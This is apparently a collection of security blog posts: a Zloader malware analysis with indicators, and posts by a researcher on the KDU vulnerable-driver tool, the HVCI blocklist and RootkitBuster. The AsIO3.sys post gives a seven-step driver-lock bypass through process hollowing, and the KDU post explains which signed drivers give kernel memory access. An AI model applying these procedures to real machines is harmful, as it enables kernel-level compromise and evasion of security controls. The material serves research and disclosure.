  • Stealing files and sending to C&C

Stealing files

The largest group of software from which Zloader steal files is crypto wallets:

  • Electrum
  • Ethereum
  • Exodus cryptowallet
  • Zcash
  • Bitcoin-Qt
  • Etc.

It also steals data from browsers: cookies from Chrome, Firefox and IE; saved logins from Chrome. And, finally, it is able to steal accounts information from Microsoft Outlook.

Hooking

To achieve his goals, Zloader performs WinAPI hooking. In order to perform it, Backdoor module enumerates processes and injects itself into the following ones:

  • explorer.exe
  • msiexec.exe
  • iexplore.exe
  • firefox.exe
  • chrome.exe
  • msedge.exe

64-bit version of Backdoor is injected into 64-bit processes, 32-bit version – into 32-bit processes.

Injected code hooks the following WinAPI functions:

  • NtCreateUserProcess
  • NtCreateThread
  • ZwDeviceIoControlFile
  • TranslateMessage
  • CertGetCertificateChain
  • CertVerifyCertificateChainPolicy

Hooks might be divided in 3 groups, depending on the purpose:

  1. NtCreateUserProcess and NtCreateThread are hooked to inject a Backdoor module to newly created threads and processes.
  2. ZwDeviceIoControlFile, CertGetCertificateChain and CertVerifyCertificateChainPolicy are hooked to support WebInjection mechanism
  3. TranslateMessage is hooked to log the keys pressed and to create screenshots

Web Injecting

First of all, browsers must have a Backdoor module injected. At this moment, there are multiple instances of Backdoor Modules running in the system: one, started by Downloader which is “Main Instance” and others, running in browsers. Main Instance starts Man-in-the-browser proxy, other modules hooks ZwDeviceIoControlFile and cert-related WinAPIs (see above). Proxy port number is stored in the BinStorage structure into the Registry, so it is synchronized between Backdoor instances.

Hooked ZwDeviceIoControlFile function is waiting for IOCTL_AFD_CONNECT or IOCTL_AFD_SUPER_CONNECT and routing connections to the proxy. Hooked cert-related functions inform browsers what everything is good with certificates.

Botnets, Campaigns and their activity

Most active botnets and campaigns use RC4 key 03d5ae30a0bd934a23b6a7f0756aa504 and we’ll focus on them in our analysis. Samples with the aforementioned key have versions 1.x, usually 1.6.28, but some have even 1.0.x.

Botnet and Campaign names

Among botnet names it is worth mentioning the following groups:

  1. DLLobnova, AktualizacjaDLL, googleaktualizacija, googleaktualizacija1, obnovlenie19, vasja, ivan
  2. 9092zi, 9092ti, 9092ca, 9092us, 909222, 9092ge

The first one contains transliterated Slavic words and names (vasja, ivan), maybe with errors. It sheds light on the origins of bad guys – they are definitely Slavs.

Samples with botnet names from the second group were first observed in November 2021 and we found 6 botnet names from this group in the next two months. Letters after numbers, like ca and us might be country codes.

We see the same picture with campaign names: quite a big amount of Slavic words and the same 9092* group. 

WebInjects

We analyzed webinjects and can confirm that they are targeting financial companies: banks, brokerage firms, insurance companies, payment services, cryptocurrency-related services etc.

Injected code is usually small: from dozens of bytes up to 20 kb. To perform its tasks, it loads JavaScript code from external domains, controlled by bad guys. Analysis of these domains allowed us to find connections between Zloader operators and other cybercrime gangs.

Download tasks

Zloader is able to download and execute arbitrary files by the commands from his C&Cs, but for a long time we haven’t seen these commands at all. Things changed on 24 November 2021, when botnet 9092ca received a command to download and execute the file from teamworks455[.]com. This domain was mentioned in [6].

Another two download tasks contained braves[.]fun and endoftheendi[.]com

Connections

During our tracking we have noticed links to other malware families we originally thought were unrelated.

Raccoon Stealer

Two out of three download tasks contained links to Raccoon Stealer. Downloaded samples have the following sha256 hashes:

  • 5da3db74eee74412c1290393a0a0487c63b2c022e57aebcd632f0c3caf23d8bc
  • 5b731854c58c2c1316633e570c9ec82474347e64b07ace48017d0be2b6331eed

Both of them have the same Raccoon configuration with Telegram channel kumchakl1.

Moreover, Raccoon was mentioned in [6] before we received commands from C&Cs with links to Raccoon. We are lost in conjecture why Zloader operators used Raccoon Stealer? You can read our dive into Racoon stealer here.

Ursnif

Ursnif, also known as Gozi and ISFB is another banking malware family with similar functions.

Digital Signatures

It was quite a big surprise when we found Zloader samples and Ursnif samples signed with the same digital signature!

As an example, consider a signature:
Issuer BABJNCXZHQCJUVWAJJ
Thumbprint 46C79BD6482E287647B1D6700176A5F6F5AC6D57.

Zloader sample signed with it has a SHA256 hash:
2a9ff0a0e962d28c488af9767770d48b9128b19ee43e8df392efb2f1c5a696f.

Signed Ursnif sample has a SHA256 hash:
54e6e6b23dec0432da2b36713a206169468f4f9d7691ccf449d7d946617eca45

It is not the only digital signature, shared among Ursnif and Zloader samples.

Infrastructure

As we mentioned before, the first observed download command contained a link to teamworks455[.]com. We checked the TLS certificate for this site and realized that it was for another site – dotxvcnjlvdajkwerwoh[.]com. We saw this hostname on 11 November 2021 in Ursnif webinjects, it was used to receive stolen data.

Another example – aerulonoured[.]su – host used by Zloader to receive stolen data at least from August 2021. It also appeared in Ursnif webinjects in November 2021.

Third example – qyfurihpsbhbuvitilgw[.]com which was found in Zeus configuration update, received from C&C on 20 October 2021. It must be added to a C&C list and then used by Zloader bots. The same domain was found in Ursnif webinjects on 1 November 2021

And, finally, 4th example – etjmejjcxjtwweitluuw[.]com This domain was generated using DGA from key 03d5ae30a0bd934a23b6a7f0756aa504 and date – 22 September 2021. We have very strong evidence that it was active on that date as a Zloader C&C. The same host was found in Ursnif WebInjects on 1 November 2021

Conclusion

We are proud we could be part of the investigation as we continue our mission to make the world a safer place for everybody. We hope for a successful takedown of the Zloader botnet and prosecution of people who created and operated it.

The post Zloader 2: The Silent Night appeared first on Avast Threat Labs.

~

By: hfiref0x
1 March 2022 at 08:12
01 March 2022 update

Since there were some questions, here are the answers:

There is attempts of censorships from services.

github account won't be deleted unless it is done by service itself, however don't expect it to be active anytime soon. All these fancy stuff is securely mirrored.

this blog is kind of insignificant but stays as is, unless it won't be deleted by google itself

emergency contacts are all valid, note that we won't use/acknowledge google/ms or any other U.S. based services anymore and strictly advising for these who know do the same

Keep safe and be well~

KDU v1.2 release and the wonderful world of Microsoft incoherency

By: hfiref0x
19 February 2022 at 09:36

It's been a while since last KDU update and thanks to Artem Baranov from Kaspersky my attention is again on it. The new 1.2 release contain eight new providers and set of additional changes that were required for new providers work. Here is list of new providers added, the details on each are following:

  • GMER "antirootkit"
  • Dell BIOS Utility (assigned CVE-2021-21551)
  • Mimikatz "Mimidrv"
  • Process Hacker "KProcessHacker2"
  • Process Explorer "ProcExp152"
  • Dell BIOS Utility (assigned CVE-2021-36276)
  • Cheat Engine
  • ASUS GPU Tweak II/III (EneTech next-gen)
And after describing new providers we will take a tour into wonderful world of Microsoft incoherency with their newest Win10/Win11 drivers blacklist managed by CI.dll

Providers description 

(number is ID in KDU database)

15. GMER "antirootkit"

Pic 1. What could possible go wrong here

GMER "antirootkit", I'm familiar with this software since it birth and introduction by author (Przemyslaw Gmerek) on SysInternals forums during Rustock's first variants most active period. Since it first release it was a mediocre software with limited capabilities to detect or remove anything despite author claims (he still has a dedicated gallery on his long forgotten site). Since I was developing the same toolset during that time I of course reverse-engineered GMER to find out if there is anything interesting in it. It sounds fun but this is exactly how things were going in the 2005-2010 anywhere with tools developed by enthusiasts. Amount of copy-pasted techniques and code from different authors in different tools of this time is tremendous. GMER driver doesn't surprised me and except obvious bugs I didn't found anything else interesting in it, except number of simple ways how to completely make it blind in case of rootkit detection (we later implemented one of in our laboratory rootkit called Unreal so Gmerek was forced to do an emergency update 😅). Remember, it was year 2006 and Windows XP was all around and shiny again after general Vista fuckup. Entire class of this software died around 2011-2013 so I was surprised that GMER actually managed not only survive but move to x64 world. Ohh, better he doesn't. The actual x64 driver made of copy-paste from x86 version with few things adjusted to make it work on x64 and some features that are bound to x86 only completely removed. For some unknown reason it still has a branches of code that doesn't make any sense on x64, that shows how actually author didn't care about final product. Since acquiring by Avast their Avast MBR tool contain exact the same driver from GMER (because it's powered by "GMER technology", this is a fucking rofl yeah). From current perspective this driver is a wormhole and I'm surprised no one actually tried to exploit it for a fancy CVE id, almost just like Trend Micro tool highlighted in one of my previous posts. For KDU usage the most prominent features of GMER are arbitrary kernel virtual memory read and write. This is not a bug, it is intentionally created mess so GMER can read/write kernel memory via it's process. This feature implemented via MDL mapping and accessible with dedicated IOCTL with simple data structure. One important note is that before calling this (or any other IOCTL) you have to talk with GMER driver first to let it know it was "initialized". This is done with a special IOCTL. Note that GMER driver sets exclusive flag when creating it device object, however when application crash driver stays in memory and accessible for everyone.

TL;DR - current GMER is completely useless (and dangerous due to multiple bugs, just look on pic 1 - few seconds before BSOD) in terms of "rootkit detection" usage and represent a security risk by containing Windows security bypasses available without any proper verification of caller nor access checks. 

16. Dell BIOS Utility (assigned CVE-2021-21551)

This one is pretty simple and well described in CVE entry. This is a typical flaw in giveio-type drivers. It has memmove with completely user controlled parameters send by special IOCTL.  Such "features" aren't so rare in the wonderful world of hardware vendors drivers.

17. Mimikatz "Mimidrv"

This is auxiliary driver from Mimikatz tool which is open-source. Mimikatz is a well known tool and a lot of people found it damn useful. Well I'm not one of them. Speaking of mimidrv - it has full source available and by opening this source you will want to close it ASAP to not hurt your eyes with amount of shitcode you will face. It's a complete bugged wormhole which has number of built binaries with different versions all signed with a valid certificate. No wonder Microsoft banned this certificate in their HVCI blocklist which we will discuss later. We are interested here in arbitrary kernel virtual memory read/write IOCTL's, in fact they are almost the same as in GMER. You don't need any special preconditions to start using mimidrv. Here is the details on other features of mimidrv - Mimidrv In Depth: Exploring Mimikatz’s Kernel Driver if you are interested.

18. Process Hacker "KProcessHacker2"

It is famous tool and I remember how it was born. Process Hacker come at SysInternals forum with wj32 in the late 00s in form of open source task manager replacement written in C#. It was immediately criticized for this by forum members and after some reconsiderations wj32 ported it on more suitable programming language (thankfully there wasn't any cancer like Rust popular that days). PH roots from Windows XP era with same design and philosophy. That's how it started and worked just fine until Turla malware group widely popularized BYOVD (Bring Your Own Vulnerable Driver) attacks in 2014-2015. The mentioned PH driver KProcessHacker2 was abused by multiple actors starting from malware and ending up with cheat community. This followed with wave of antivirus detections and game bans. All because of this tool initial design and philosophy from Windows XP era. That is why it was full of wormhole functionality and still have it up-to-date. What is so unique in this driver? It provides a set of IOCTL's which work as Windows API replacements for several key to the Windows security functions. Just a few of them for example: OpenProcess, OpenThread, DuplicateHandle, TerminateThread, TerminateProcess, Set/GetThreadContext, Read/WriteProcessMemory. Natural hackbox isn't it? Earlier versions of PH code (which all nicely written and well documented) even contain remarks where author hopes that this driver client "is not a virus" so wj32 clearly predicted things can go worse 😏 We will go back to PH in the end of this post. For KDU tasks this driver maybe not looking good at first glance (it looks like more suitable for malware usage 😂), but then if you look on the things from a different perspective - hell yeah. Here is why - starting from ancient Windows NT versions up to latest Windows 10 release "System" process keeps handle to physical memory section. It was abused before for physical memory access and later Microsoft banned it from user mode usage by setting object header flag -> kernel only access so you can't open new handle for this section from the user mode. Later MS added protected processes feature which additionally blocked exploitation because you can't open "System" process with sufficient rights. And here Process Hacker driver comes to the rescue with it hackbox IOCTL's allowing us: open full process handle for "System" process, duplicate physical memory section handle to our process with same full access rights. Further is trivial. Important note about fancy new Windows 10 rebrand called Windows 11. There is no physical memory section handle in "System" process as I observed and it is too boring to figure out is it intentional or need any preconditions to make it popup again - you may consider this as homework.

19. Process Explorer "ProcExp152"

Rival of previous task manager. Or previous task manager is a rival to this, or new Windows 10/11 taskmanager is a rival to both or vice versa or..., I don't really follow this "task manager market war" which is a complete bullshit, just the fact that Process Explorer existed long before PH release and PH "release to public" place was Process Explorer developers forums. This is a small handy tool developed by Mark Russinovich before his acquiring by Microsoft and abandoning all his tools (they are now out-sourced to some Microsoft geniuses who decided to remake classic UI with new over overstretched buttons and idiotic bitmaps ruining your old UI experience, and oh-ah "dark mode" I forgot about it). Process Explorer driver provide limited set of features that works almost the same as hackbox from PH. Have you heard about AV detecting Process Explorer as malware? I didn't, maybe because it is signed by Microsoft?😄 Anyway, this driver does have access checks implemented at dispatch routine so it fits into Microsoft wonderland of what they call "security boundaries". It doesn't really matter for BYOVD, this driver allows process opening, handle duplication, process termination and more. It is used in KDU in a similar manner as KProcessHacker2 driver. Oh, it even re-used next by KDU as placeholder for the final shellcode, what an irony.

20. Dell BIOS Utility (assigned CVE-2021-36276)

The same as previous Dell driver except it has different steps required for loading and new device name. In fact this is example of "fix" similar to that I described in my previous blogpost. TL;DR Dell fixed nothing and posed this driver update as ultimate fix for previously reported vulnerabilities. KDU exploits 2.5 version driver as I didn't bothered to find 2.7, but from all the description etc it will work the same way on 2.7 you only need to change device name.

21. Cheat Engine

Pic 2. Cheat Engine 7.4

Infamous open-source tool mostly used for game cheating and cracking. Has a kernel mode component called DBK (DarkByte Kernel?) which is a wormhole by design with WHQL signature, yeah. This driver abused by malware in recent GhostEmperor attacks. KDU uses similar pattern to write and execute code in kernel mode. Cheat Engine author tried to complicate his driver usage by 3rd parties (most likely by other cheat programs) by introducing few pseudo-security checks implemented on driver side. None of them can be considered as sufficient and mentioned above malware fully bypass them. KDU uses driver from the up-to-date Cheat Engine 7.4 package and proxy application "kernelmodeunloader.exe" from the same package. This driver is in HVCI blocklist. Warning to these who want to try: while installing Cheat Engine package (from official site) may install you a bunch of scamware if you won't pay attention to installation process and just spam "Next" clicks. Note that Cheat Engine driver has some problems with Windows 7, so it may not work or load here.

Pic 3. Cheat Engine DBK load failure, Windows 7



22. ASUS GPU Tweak II/III (EneTech next-gen)

It is implementation of what is stated in my previous blogpost. Nothing changed since that time, ASUS continuously use this trash in a number of it software products up to date. Side note, they also introduced new driver which looks like heavy remake of original WinIO with most of it dangerous features stripped, however not all. It is a something to investigate later.

HVCI blocklist or welcome to wonderful world of Microsoft incoherency


This feature introduced with HVCI on Windows 10. It is implemented as blocklist stored in \systemroot\system32\codeintegrity\driversipolicy.p7b file as certificate blob and specific code at CI.DLL to manage it. Decoding this "driverspolicy" data maybe accomplished with the following PowerShell script -> https://gist.github.com/mattifestation/92e545bf1ee5b68eeb71d254cec2f78e. Microsoft maintains current state of this list on github -> https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md. This blocklist is loaded and parsed by CI.DLL in kernel mode and invoked when HVCI is enabled (Core Isolation -> Memory Integrity) and something is trying to load driver. If this driver (authenticode hash, page hash, filename from version block, filename and version range from version block) found in blocklist Windows will deny it loading and log event. Presumable this list will be updated and each new Windows 1X "release" will bring brand new blocklist. Or they even managed to do it auto updating didn't checked that, at least previous Windows 10 versions doesn't seems update it since install.

Lets take Process Hacker discussed above, but latest version, and try to load it as admin with HVCI enforced:

Pic 4. HVCI enforced block of kprocesshacker.sys


With event 5038 added to the system security event log: 

Code integrity determined that the image hash of a file is not valid.  The file could be corrupt due to unauthorized modification or the invalid hash could indicate a potential disk device error.

File Name: \Device\HarddiskVolume3\ProcessHacker\kprocesshacker.sys

and NTSTATUS codes like STATUS_IMAGE_CERT_REVOKED and STATUS_DRIVER_UNABLE_TO_LOAD. This is actual Process Hacker v3.0 with valid digital signature and KProcessHacker3 which is immune to previous abuse by malware and cheaters. 

Why is this happening or welcome to wonderful world of Microsoft incoherency.

Microsoft added Process Hacker (PH) to HVCI blocklist just recently. There are no live examples of Process Hacker v3 abuse by malware except one from Crowdstrike dated back to 2019 and updated in the Dec 2021, https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/. This post gives you a brief to supposedly PH driver malicious usage involving full bypass of it integrated client verification introduced in 2.39 and still used in 3.0+. From that post you will learn that over-engineered approach which is used almost everywhere in PH code doesn't guarantee security and wormhole features are still can be used by 3rd party if they really want to. From my point of view malware authors has nothing else to do by choosing Process Hacker driver as their "provider" because:
  1. There are exist alternatives with much simpler (or none at all) verification logic, using them you can achieve the same "terminator" features;
  2. Process Hacker already signatured by various FakeAV as PUP/Tool/HackTool (or TrojanMulDrop lol) because it different old versions are used by malware and they share scan patterns.
Or they just wanted to piss-off PH authors showing them bypass of it over-engineered verification. Why then Microsoft doesn't considers its own Process Explorer (PE) driver as malicious security breaking tool? Lets leave aside "because it Microsoft signed lol" or "because it fits into security boundaries, have you saw secure device and SePrivilegeCheck?". If you compare how exactly PH and PE drivers does their "process" management you will notice that PH actually does it on lower level than PE. There are other functionally which is also should not exist at all - like duplicating handles, write/reading arbitrary processes memory, changing thread contexts etc. But lets start with simple thing, how PH and PE both acquire process handles. 

PH uses PsLookupProcessThreadByCid/PsLookupProcessByProcessId and ObOpenObjectByPointer. This allows it to skip ordinary access checks, ETW logging and... bypass some of the security products relying on filtering. It is basically reimplemented ntoskrnl ZwOpenProces->PsOpenProcess function with all the Se validation replaced with PH client/call verification. In comparison PE simple calls ZwOpenProcess with GENERIC_ALL desired access value. Both approaches are terrible piece of shit and comes from Windows XP era. If you need a handle to process/thread etc - use usermode call, that's is the only solid way to guarantee security and audit. If you still insist on accessing protected processes then entire operation should only take place in kernel after Windows security verification without returning anything important to usermode. Any termination/memory read/write from driver should be banned at all. This will however turn off "hacking" features of products as they won't be able to open/read/write everything. Sorry guys but this is how Windows now designed - if you not a part of trusted system code you can't access what ever you want. And there we have a dilemma - two drivers with wormhole functionality ideal for BYOVD attacks. One maintained open-source project, second proprietary Microsoft code without updates for decades. Both used by malware including APT. One in HVCI blocklist, second nope. I call this bullshit, Microsoft. What about PH, guys you are fucking process manager with extended features, not a Windows subsystem to replace or reinvent the MS security wheel just because you have nothing else to do and want to practice with system programming. Your "multi-purposing" is actually playing against you and serves no other purpose. You already removed a lot of "hacking" code from Process "Hacker" and still have a lot to remove/rework. Leave all this "hacking" to where it started - in the Windows XP era.

Another piece in this blocklist that attracted my attention is a number of strange drivers MS added seems by lurking on unknowncheats.me forum, including leaked certificates. Well it is good to know you lurk on most currently famous forum dedicated to kernel mode rootkits (what an irony yeah).

VBoxDrv innotek entry brings good old memories of Turla and later DSEFix/TDL. The only question here is why innotek only. Unlike popular opinion the exploit used by Turla group wasn't previously disclosed and therefore fixed in next versions, so basically it was a zeroday. This entire confuse makes you think that VirtualBox has only innotek signed Turla-style exploitable drivers. Meanwhile I would remember you that Sun acquired innotek GmbH in 2008 and later VirtualBox versions came out signed by Sun certificate. Since this vulnerability in vboxdrv wasn't fixed - all vboxdrv drivers at least up to 3.0 version are equally vulnerable and can be easily adopted to be used like in DSEFix or TDL 😉 (which was already done by some Chinese APT few years ago). Strange that this is not noticed by Microsoft.

Pic 5. The old the new thing

Ideally this blocklist should be twice or triple size bigger with only what is available on public today. No iobit, zemana fakeav drivers, no mihoyo, other anticheat crapware, no nVidia trash, no endless MSI packs of crap. Are you kidding, Microsoft? This is all available and exploitable. Right here, right now. Stop being a slowpoke, I've cookie for you.

KDU v1.1 release and bonus (AsIO3.sys unlock)

By: hfiref0x
22 April 2021 at 10:07

KDU stands for Kernel Driver Utility. It was developed mainly to assist in some other projects, like for example VBoxHardenedLoader. Since release in the beginning of 2020 it supported various vulnerable drivers as "functionality providers".

Overall these are the major 1.1 version changes:

  • Driver mapping shellcode has been updated, two additional shellcode variants have been added;
  • More vulnerable drivers from Huawei, Realtek, MSI, LG, ASUSTeK have been added.

Details about changes are below.

Shellcode variants

Overall shellcode has been redesigned to work with mapped section instead of registry. Previous version read payload driver image from Windows registry specific key. It was quick and cheap solution as I didn't bother with it and just re-used Stryker bootstrap shellcode variant. Now KDU will allocate special section with random name to store payload driver image, additional parameters and to query result uppon shellcode execution completion.

There are three variants of driver mapping shellcode available for selection via -scv <number> command. The difference between them is how they handle payload execution part. First variant uses newly created system thread to run payload entry point. It is pretty much the same method as original KDU/TDL/Stryker use. Second allocates work item and runs payload entry point within existing system worker thread. Third is more complex as it is designed for a small limited usage with drivers that are unaware of preconditions required for manual mapping. Preciously they require their DriverEntry parameters to be valid. This shellcode variant will allocate driver object, fill it common part and pass it together with supplied registry path to the payload DriverEntry as parameters. This is something like Dustman copy-pasters did with Eldos RawDisk however it also provides valid registry path parameter which is can be used by payload driver. While using 3rd shellcode version you need to supply driver object name using command -drvn <ObjectName> and optionally registry key name -drvr <RegName>. If no registry key name specified KDU will assume registry key name is the same as driver object name. Examples of usage -> https://github.com/hfiref0x/KDU#usage.

New providers

  • Huawei PhyMemx64 driver from Huawei MateBook Manager of various versions. This driver is a blatant copy-paste from infamous WINIO source code;
  • Realtek RtkIo64 driver from Realtek Dash Client Utility of various versions. This driver based on PHYMEM open-source project code, which is a wormhole by design;
  • EneTechIo64 from MSI Dragon Center, it is similar to previously added EneTech variants (all based on WINIO), however it utilizes "unique" unlocking algorithm (see https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html for a complete overview) and freshly signed so that is why I decided to add this variant too;
  • LG LHA driver from LG Device Manager, which is explained in Jackson_T blogpost. This driver is semi-original with some influence of open-source projects;
  • ASUSTeK AsIO2 driver from ASUS GPU Tweak utility, this driver also described in my blogpost about EneTech drivers derivatives.
That's all about KDU. Ironically bonus part is much longer.

Bonus (AsIO3.sys unlock)

ASUSTeK "giveio" drivers seems had some special love from the developers who are sitting on WINIO source code in EneTech. GLCKIO, GLCKIO2, AsIO, AsIo<O><variousnames>, AsIO2 and now AsIO3. What they share in common (except WINIO base) - their authors never fix their bugs. They actually just pull "new" version of driver when someone find a bug in it and contact ASUS for security reasons. Numerous CVE numbers generated by various groups/researches etc. So what they actually changing? Well, they just switching driver "locks" - a primitive handmade solutions which purpose is to block usage of the given driver by 3rd party. And under 3rd party I mean - block and/or ruin the way this driver was exploited in the submitted security issue. Thus submitted issue will be no longer reproducible as-is and they can tell - hey we fixed it, now you can gtfo, lol. Sometimes, like in case of AsIO2 their newly added locking code adds additional bugs and vulnerabilities. But nobody cares I guess.

Their latest release is AsIO3.sys with self-explaining pdb (C:\Working\MB\GLCKIO2\AsIO3\x64\Release\AsIO3_64.pdb). The key changes compared to AsIO2:

  1. They have been forced to make it pass Driver Verifier checks; 👏
  2. New driver lock, no more TinyAES with keys found by devs in Google search;
  3. All the bugs/vulnerabilities of WINIO stay same.

Driver is fresh and comes as part of ASUS GPU Tweak software v2303.

Pic 1. AsIO3 details.


New driver "lock" looks pretty damn solid and complicated! I mean they wasted so much code to create this ineffective piece of garbage while instead they could put their efforts into fixing (or even rewriting) entire WINIO. To "unlock" previous AsIO2 all you need - generate special resource named "asuscert" and put it into your application resources, see complete unlocking code here. In newest versions everything changed. 

AsIO contain three components - AsusCertService.exe (32bit), wrapper dll and driver. In the AsIO3 driver implemented special check of requestor application during IRP_MJ_CREATE. Driver reads file from disk, calculates SHA256 for it and compares this value with hardcoded hash. If they do not match - STATUS_ACCESS_DENIED will be returned to the caller.

Pic 2. AsusCertService.exe SHA256 hardcoded in AsIO3 driver


Thus initially only AsusCertService.exe allowed to open and communicate with AsIO3 driver. Entire purpose of this executable is to manage connections for AsIO3 driver. This driver also provides a way to register "trusted application" that will be able to call AsIO3. AsusCertService setups named pipe (no SD set ROFL) called "asuscert". Now if another application want to use AsIO3 and should contact AsusCertService via named pipe. AsusCertService will validate client executable to be digitally signed and signer must be one of the hardcoded values as shown below.

Pic 3. AsusCertService client signer check.

After successful check service will register client process as trusted for AsIO3 driver by sending special IOCTL 0xA040A490 with input buffer set to client process id. Driver manage this list similar to GLCKIO2 where it was firstly introduced. Another IOCTL 0xA040A494 used to remove client process id from trusted process list. 

How to bypass this garbage and completely useless code and unlock this driver for your application:

  1. Make a copy of AsusCertService somewhere, make sure it is unmodified otherwise driver side hash check will fail;
  2. Create a zombie process from this copy, stop before calling entrypoint;
  3. Unmap original code and replace it with your own shellcode;
  4. Resume zombie process;
  5. In a shellcode -> open driver and register your parent process in trusted process list using 0xA040A490 IOCTL code;
  6. Make sure AsusCertService zombie process will be alive and kicking (put it into infinite wait for example in your shellcode) while your main process is working, this is to prevent AsIO3 driver from zeroing trusted processes list;
  7. Now from your process you can do whatever you want with AsIO3, for example BSOD it (since AsIO3 provides full set of unfixed WINIO vulnerabilities/bugs).



Pic 4. AsIO3 usual state.

Well, what can I say. A quantum supercomputer calculating for a thousand years could not even approach the number of fucks which ASUS do not give when it comes to security of their drivers.

AsIO3 unlock PoC can be found at -> https://github.com/hfiref0x/AsIo3Unlock

Disclaimer

Using KDU program might crash your computer with BSOD. Compiled binary and source code provided AS-IS in hope it will be useful BUT WITHOUT WARRANTY OF ANY KIND. Since KDU rely on completely bugged and vulnerable drivers security of computer where it executed maybe put at risk. Make sure you understand what you do.

KDU github with precompiled binaries -> https://github.com/hfiref0x/KDU

Trend Micro's Rootkit Buster - Blast From The Past? Nope.

By: hfiref0x
5 April 2021 at 09:33

Pic 1. TrendMicro abandonware.
 

Recently I came across an article "How to use Trend Micro’s Rootkit Remover to Install a Rootkit" by Bill Demirkapi. It covers TrendMicro out of date antirootkit called "RootkitBuster". TL;DR it is dangerous software full of hacks and potential kernel level vulnerabilities. My interest was attracted by the part about some pieces of code author of blogpost found weird. After reading it I thought that I can actually answer on questions made in this blogpost. A little introduction and small excursion into history are required before we can move on to answering questions.

Long time ago in a galaxy far away

I'm familiar with this software since... hmm decades? It just so happened that I probably know one of the guys who worked on this software and in general familiar with this software class, it design and reasons why it looks so terrible from this year perspective.

Rootkit Buster is a classic 3rd generation antirootkit created in the second half of the 200x in response to dominance of kernel mode rootkits on MS Windows. Almost every ISV created this kind of software in that times, some made standalone tools like TrendMicro, Kaspersky, Avast, BitDefender, Sophos, F-Secure (with their infamous by it uselessness BlackLight). Some ISV incorporated their functionality directly into their mainstream products like for example Dr.Web or later Avast (when they acquired author of freeware GMER). Almost all of them were useless and never bothered rootkit developers to address their detection's in rootkit updates. There is a few exceptions of course like Dr.Web antirootkit engine and Kaspersky TDSSKiller. Aside of this anything else were merely a jokes. Entire battlefront with rootkits of that era was up to freeware tools made by enthusiasts. Starting from Rutkowska PoC's (like system virginity verifier, klister) and following 2nd generation with IceSword from pjf, Darkspy from CardMagic and wowocock and ending up 3rd generation with various tools like KDetective, RootRepeal, GMER many many of them (I have complete museum collection of them, including various versions, which is about 200 mb archive).

While notorious malware families of that time largely utilized kernel mode rootkit components it were developed by a really small group of original authors. It was obvious for everyone who were familiar with their design and implementation (winking for those I know). Later in the beginning of 201x they left and market was flooded with copy-pasted, "renewed" junk copies. It quickly degenerated completely and moved into limited usage in the APT, like for example Turla rootkit which is heavily inspired by 200x solutions for antidetection.

Really, really bad code?

Both rootkits/antirootkits were using completely undocumented stuff, internal Windows structures, doing with kernel basically all what they want in a completely unsafe manner. Was it bad code? Obviously, for reference you can look on KSBinSword - a Chinese IceSword copy-paste clone with source code available. Solutions it used were widely used in any other antirootkits of that times. Or look on more recent Kernel Detective with also now available source code. Unfortunately there was no way to successfully counteract malware rootkits without going on their or deeper level. Which required going deeper into undocumented thing and unsafe solutions. So was it really "bad" code? BSOD-generators for sure. Have you ever saw Kaspersky AV 6.0-7.0 source code? It is a ridiculous mess and their drivers are dangerous bugfest by design. Does it mean Kaspesrky 6/7 were failures? Nope, they both were highly successful and actually delivered a lot of problems for malware authors of that time. It was bad but it was adequate solution to that time. Simple because everything else was ineffective. This mess required operation system vendor response at first place. And MS did the job so now we can look into the past and be horrified.

Rootkit Buster is a direct successor of those times (it both design and code) and has been really polished compared to most of other ISV tools of this kind. This does not mean it is highly effective against dedicated malware it only mean that others are can be worse.

Bruteforcing Processes

What is the point of it and why not use documented API here, as blogpost author stated? It is a simple answer if you somewhat familiar with rootkit/antirootkit development. 

Usually we use the ZwQuerySystemInformation function in the kernel to traverse the process module and obtain the process information. This is through the normal process traversal method. Therefore, multiple rootkits will intercept the ZwQuerySystemInformation function to filter the specified process to realize the hidden process. At the time, you couldn't trust in regular API call result because they can be easily faked through DKOM or manipulations with API hooks on various levels. Trust no one except yourself - is a main slogan for antirootkits of that era. One of the first tools implemented PID bruteforce for detecting hidden processes was, suprise-surprise, F-Secure Blacklight. There is nothing wrong with this method, it quickly became outdated as rootkits managed to go deeper and started modifying kernel objects structures, however it still has right to exist. Of course all this apply to 200x era.

Bruteforcing Offsets

Why not use ZwQueryInformatonProcess with ProcessImageFileName here?

Again if you familiar with things answer is simple. Using API in that case will ultimately lead into malicious hook where returned data will be faked. Aside from this it is not an Rootkit Buster innovation - in fact they simple used same code snipped with known for ages Russinovich RegMon source code (or maybe even earlier). In an effort to remain version-independent, rather than using a hard-coded offsets, it scan the process object structure memory looking for the name, which should match that of the GUI process, see RegMon source code.

EPROCESS PEB Offset

Same as above. You can't trust API here unless you want to jump into rootkit trap. Notorious hardcore rootkits of that era always played at the edge of system collapse, modifying anything until the limit where they can't keep system alive anymore. Besides, offset are required to direct access to the kernel structures (thus avoiding all API hooks). Process Environment Block location is one of the key things for every antirootkit.

ETHREAD StartAddress Offset

Same as above. This offset needed for direct access to the object structure field. Additionally such scans are somewhat version independent code thus you don't need to hardcode 10-15 versions of ETHREAD offsets for single structure member if you have to support multiple Windows versions. None of API calls here (ZwQueryInformationThread) does makes any sense.

Pretty much all of the questions author made can be answered by just taking a look in any of "Rootkits blah blah blah" books dated back to 200x.

So Why?

RootkitBuster is a combination of out-dated techniques, methods from Windows XP era, that (it is my guess) are just blatantly copied from x86-32 and compiled for x64 without any actual refactoring (except part for making it compilable and verifier friendly ROFL). Obviously parts of code highlighted by author has a little sense (if any) on 64 bit Windows version with PatchGuard and other fancy security features built-in. In general this software has no sense on x64 and looks completely abandoned. It version 5 was released in 2011, do you see any hints here?

Just reversing of drivers for exploits is not enough for their code complete understanding. You have to be familiar with what they actually do and how this is implemented, not to say about baggage of experience in that field.

From a malicious usage perspective RootkitBuster also has nothing to offer. Take it as a sort of unusual museum exponent. If you want to look at really dangerous software actively developed and distributed under multiple "best security" crapware brands - take Zemana (or any of it pseudonyms) driver as example of complete hack-o-rama, right here, right now on x64.

People That

By: hfiref0x
5 November 2020 at 06:32

Succ 

(c) Andrea Allievi aka aall64
Pic 1. What is all about.

